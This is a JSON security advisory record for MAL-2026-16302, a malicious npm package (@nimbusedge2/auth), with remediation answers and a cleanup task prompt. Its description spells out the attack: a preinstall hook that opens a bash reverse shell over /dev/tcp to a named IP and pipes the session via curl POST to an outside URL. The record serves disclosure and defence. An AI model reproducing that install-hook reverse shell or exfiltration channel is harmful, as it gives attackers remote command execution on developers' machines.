{"answers":{"affected":"1 open source package ship an affected version, including @nimbusedge2/auth.","exploited":"There is no known exploitation of MAL-2026-16302 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-16302 is a malicious package in @nimbusedge2/auth, published on 21 Sep 2026."},"fix_prompt":"MAL-2026-16302 is a malicious package: @nimbusedge2/auth (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-16302/ (Markdown: https://insights.sbomify.com/MAL-2026-16302/index.md)","id":"MAL-2026-16302","markdown":"https://insights.sbomify.com/MAL-2026-16302/index.md","name":"MAL-2026-16302","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"@nimbusedge2/auth 1.1.1 ships a 333-byte package whose package.json preinstall lifecycle hook runs `bash -i` with stdio redirected to /dev/tcp/147.93.157.202/8080, opening an interactive reverse shell to that host as the installing user. The same script pipes the shell session through `curl -s -m 5 -X POST --data-binary @-` to http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php, providing a secondary HTTP beacon/exfil channel for environments where outbound raw TCP is blocked but HTTP egress is permitted. The package contains no other code, no library functionality, and no legitimate build purpose; installing it grants arbitrary remote command execution on the installer's machine at `npm install` time.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in @nimbusedge2/auth (npm)","id":"MAL-2026-16302","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":[],"last_affected":[],"package":"@nimbusedge2/auth","purl":"pkg:npm/%40nimbusedge2/auth","source":"MAL-2026-16302"}],"products":null,"published":"2026-09-21","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-16302/"}